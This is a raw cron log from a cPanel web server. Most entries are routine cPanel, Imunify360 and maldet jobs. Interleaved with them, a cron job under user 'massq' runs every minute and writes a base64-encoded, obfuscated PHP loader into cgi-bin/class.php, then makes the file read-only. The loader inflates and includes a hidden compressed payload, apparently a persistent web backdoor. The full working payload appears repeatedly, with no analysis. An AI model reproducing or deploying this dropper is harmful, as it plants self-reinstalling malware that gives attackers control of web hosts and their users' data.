Sep  8 20:51:01 server CROND[19345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:52:01 server CROND[19734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:52:01 server CROND[19735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:52:01 server CROND[19736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:53:01 server CROND[20125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:53:01 server CROND[20126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:53:01 server CROND[20127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:54:01 server CROND[20530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:54:01 server CROND[20531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:54:01 server CROND[20529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:55:01 server CROND[21016]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:55:01 server CROND[21018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:55:01 server CROND[21019]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:55:01 server CROND[21022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:55:01 server CROND[21024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:55:01 server CROND[21023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:55:01 server CROND[21021]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:56:01 server CROND[21837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:56:01 server CROND[21838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:56:01 server CROND[21839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:57:01 server CROND[22215]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 20:57:01 server CROND[22218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:57:01 server CROND[22219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:57:01 server CROND[22217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:58:01 server CROND[22598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:58:01 server CROND[22599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:58:01 server CROND[22600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:59:01 server CROND[23158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:59:01 server CROND[23159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:59:01 server CROND[23160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:00:01 server CROND[23646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:00:01 server CROND[23648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:00:01 server CROND[23650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:00:01 server CROND[23651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:00:01 server CROND[23656]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:00:01 server CROND[23652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:00:01 server CROND[23649]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 21:00:01 server CROND[23654]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:00:01 server CROND[23653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:01:01 server CROND[24506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:01:01 server CROND[24511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:01:01 server CROND[24514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:01:01 server CROND[24513]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 21:01:01 server run-parts(/etc/cron.hourly)[24513]: starting 0anacron
Sep  8 21:01:01 server run-parts(/etc/cron.hourly)[24528]: finished 0anacron
Sep  8 21:02:01 server CROND[24908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:02:01 server CROND[24909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:02:01 server CROND[24910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:03:01 server CROND[25299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:03:01 server CROND[25300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:03:01 server CROND[25301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:04:01 server CROND[25691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
